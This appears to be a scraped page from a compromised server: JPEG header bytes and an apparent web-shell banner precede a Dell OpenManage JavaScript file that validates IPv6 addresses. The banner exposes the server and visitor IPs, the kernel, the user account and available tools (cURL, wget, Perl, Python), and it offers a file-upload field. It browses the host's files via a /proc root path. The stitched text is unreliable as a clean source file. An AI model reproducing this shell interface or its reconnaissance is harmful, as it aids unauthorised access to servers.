����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/3357889/root/opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/ |
Upload File : |
//-------------------------------------------------------------------------
//
// DELL INC. PROPRIETARY INFORMATION
//
// This software is supplied under the terms of a license agreement or
// nondisclosure agreement with Dell Computer Corporation and may not
// be copied or disclosed except in accordance with the terms of that
// agreement.
//
// Copyright (c) 1995-2008 Dell Inc. All Rights Reserved.
//
// Abstract/Purpose:
// Common Utility functions
//
// Environment:
// Windows, Linux
//
// Created/Version:
// 2008 Jan 10 / $Revision: $
//
// Author:
// Anima Agrawal
//
// Last Modified By/On:
// $Author: $ / $Date: $
//
//-------------------------------------------------------------------------
//global variables
var MAX_FOUR_GROUP_LENGTH =4;
var MIN_FOUR_GROUP_LENGTH =1;
var NO_OF_FOUR_GROUPS =8;
var LOOPBACKADDRESS = "0000:0000:0000:0000:0000:0000:0000:0001";
var UNSPECIFIEDADDRESS = "0000:0000:0000:0000:0000:0000:0000:0000";
var ERROR_NOTPERMITTED=2;
var ERROR_INVALID_ADDRESS=5;
var LINKLOCAL_PREFIX="FE80";
var LEVEL_IPADDRESS = 1; // this is check the ip address from the remoteaccess
var LEVEL_GENERAL = 2; // this is to check the other IPv6 address e.g. gateway
// DNS server, Pef destination
//This function checks if the IP addresss passed is IPv6 address or not
function IsIPv6(IPAddress)
{
var IPAddressArray=IPAddress.split(":");
//if there is no colon in the IPv6 address
if (IPAddressArray.length>1)
return true;
else
return false;
}
//===================================================================
//This functions add the required number of zeros in a group
//and returns the concatnation of all the groups in the preferred form
//Assumption AddZero functions
//1) IPAddressArray is split on the basis of the ":"
//2) Input has valid IPv6 address characters
//3) IPAddressArray is not empty.
//=====================================================================*/
function AddZeros(IPAddressArray)
{
var count=0;
var IPAddress="";
var len=IPAddressArray.length; // calculate the length of the array passed
//iterate through the array and add the respective number of zeros in each group
while(len>count)
{
var element="";
var elementlen=IPAddressArray[count].length;
if(count!=0)
element+=":";
if(elementlen<MAX_FOUR_GROUP_LENGTH)
{
switch(MAX_FOUR_GROUP_LENGTH-elementlen)
{
case 1: element+="0"; break;
case 2: element+="00"; break;
case 3: element+="000"; break;
}
}
//concatenating the required number of zeros to each of the four digit group
IPAddressArray[count]=element+IPAddressArray[count];
IPAddress+=IPAddressArray[count];
count++;
}//end while
return IPAddress ;
}
//===================================================================
//This functions add the required number of zeros in the IPv6 address
//and returns the IPv6 address in the preferred form
//Assumption ConvertToPreferred functions
//1) This function is called when there is double colon in the IPv6 address
//2) Input has valid IPv6 address characters
//3) firststring contains the string before double colon
//4) secondstring contains the string after the double colon
//5) It has valid number of the four digit group in the address
//=====================================================================
function ConvertToPreferred(firststring,len,secondstring,len1)
{
var preferredIP="";
var diff=NO_OF_FOUR_GROUPS-(len+len1);
//split the firststring on the basis of colon and add the zeros
if(firststring!="")
{
IPDoubleSplitArray1=firststring.split(":");
firststring=AddZeros(IPDoubleSplitArray1);
} //end if
//split the second string on the basis of colon and the zeros
if(secondstring!="")
{
IPDoubleSplitArray2=secondstring.split(":");
secondstring=AddZeros(IPDoubleSplitArray2);
}//end if
//add the required number of the missing 4 digit zeros groups
//in the address
if(len!=0)
preferredIP=firststring;
else
{
preferredIP="0000";
diff--;
}
switch(diff)
{
case 1: preferredIP+=":0000";break;
case 2: preferredIP+=":0000:0000";break;
case 3: preferredIP+=":0000:0000:0000";break;
case 4: preferredIP+=":0000:0000:0000:0000";break;
case 5: preferredIP+=":0000:0000:0000:0000:0000";break;
case 6: preferredIP+=":0000:0000:0000:0000:0000:0000";break;
case 7: preferredIP+=":0000:0000:0000:0000:0000:0000:0000";break;
}
if(len1!=0)
preferredIP+=":"+secondstring;
return preferredIP;
}
//===================================================================
//This functions checks for the special addresses
//Assumption Check_SpecialAddress functions
//1) Input is IPv6 address in preferred form
//=====================================================================
function Check_SpecialAddress(IPAddress)
{
if(IPAddress==LOOPBACKADDRESS)
return ERROR_NOTPERMITTED;
if(IPAddress==UNSPECIFIEDADDRESS)
return ERROR_NOTPERMITTED;;
return true;
}
//===================================================================
//This functions checks the length of the each group seperated by colon
//Assumption for the function Check_Octate
//1) Input IPAddressArray has the valid IPv6 characters and required number
// of four digit groups
//=====================================================================
function Check_Octate(IPAddressArray,length)
{
var count=0;
while(length>count)
{
var elementlen=IPAddressArray[count].length;
//length of each group should be between 4 and 1. Both inclusive
if(elementlen>MAX_FOUR_GROUP_LENGTH || elementlen<MIN_FOUR_GROUP_LENGTH)
return false;
count++;
}
return true;
}
//===================================================================
//This functions checks the input prefix depending upon the level
// passed
//Assumption for the function Check_Prefix
//1) Input prefix is the first four digit group
//2) Prefix has valid IPv6 characters
//=====================================================================
function Check_Prefix(prefix,level)
{
if(prefix=="")
return true;
var upperprefix=prefix.toUpperCase();
if( level ==LEVEL_IPADDRESS)
if(upperprefix=="FE80")
return ERROR_NOTPERMITTED; // link-local are not permitted
if(upperprefix.charAt(0)=='F')
if(upperprefix.charAt(1)=='F')
return ERROR_NOTPERMITTED;//multicast is not permitted
return true;
}
//==========================================================================
//Assumption - for the validation of Ipv6 alogrithm
//1) Mixed mode addrsses are not permitted
//2) Zone indices are not considered
//3) base notation addresses are not permitted
//4) This checks for the basic format of the IPv6 address
//5) level 1 - IPaddress - mulitcast, loopback and link-local are not permitted
//6) level 2 - Pef destination, gateway, DNS address
//7) Mulitcast and loopback addresses are not permitted
//8) Special addresses - "::" is not permitted
//9) Input str contains the IPv6 address
//10) Input level can take two values LEVEL_IPADDRESS and LEVEL_GENERAL
//============================================================================
function Valid_IPv6(str,level)
{
//alert(str);
var IPDoubleSplitArray,IPDoubleSplitArray1,prefix="";
var doublelength,doublelength1;
var IPAddressPreferred;
if(str == "" || str.length == 0)
return ERROR_INVALID_ADDRESS;
var pattern=new RegExp("[^0-9,A-F,a-f,:]");
if(pattern.test(str)==true)
return ERROR_INVALID_ADDRESS; // invalid character found in the string
// check for double colon
var IPAddressArray=str.split("::");
//if there is no colon in the IPv6 address
if (IPAddressArray.length==1)
{
//split on colon
var IPColonArray=str.split(":");
if(IPColonArray.length!=NO_OF_FOUR_GROUPS)
return ERROR_INVALID_ADDRESS; // invalid number of four digit groups in the address
// check if total number of characters each group is between [4,1]
if(!Check_Octate(IPColonArray,IPColonArray.length))
return ERROR_INVALID_ADDRESS;
// convert the address into preferred form
IPAddressPreferred=AddZeros(IPColonArray);
prefix=IPColonArray[0];
} //end if
else
{
// if there are more than one double colon in the IPv6 Address.
if (IPAddressArray.length>2)
return ERROR_INVALID_ADDRESS;
// split the array1 received on the basis of colon.
//after splitting on double colon if the first element is empty e.g. ::2 first element will empty
if(IPAddressArray[0]=="")
doublelength=0;
else
{
IPDoubleSplitArray1=IPAddressArray[0].split(":");
doublelength=IPDoubleSplitArray1.length;
// check if the number of character in each group is in the range[4,1]
if(!Check_Octate(IPDoubleSplitArray1,doublelength))
return ERROR_INVALID_ADDRESS;
else
prefix=IPDoubleSplitArray1[0];
}
//split array2 on the basis of colon
//after splitting on double colon if the second element is empty e.g. 2:: second element will be empty
if(IPAddressArray[1]=="")
doublelength1=0;
else
{
IPDoubleSplitArray2=IPAddressArray[1].split(":");
doublelength1=IPDoubleSplitArray2.length;
// check if the number of character in each group is in the range[4,1]
if(!Check_Octate(IPDoubleSplitArray2,doublelength1))
return ERROR_INVALID_ADDRESS;
}
// check if the number of groups in the IPv6 address should be less that 8
if(doublelength+doublelength1 >=NO_OF_FOUR_GROUPS)
return ERROR_INVALID_ADDRESS;
//convert to preferred form
IPAddressPreferred=ConvertToPreferred(IPAddressArray[0],doublelength,IPAddressArray[1],doublelength1);
} //end double colon
// check for the spcial address not permitted
var error=Check_SpecialAddress(IPAddressPreferred);
if(error!=true)
return error;
//check for the special range if addres not permitted
error=Check_Prefix(prefix,level);
if(error!=true)
return error;
return true;
} //end of funtion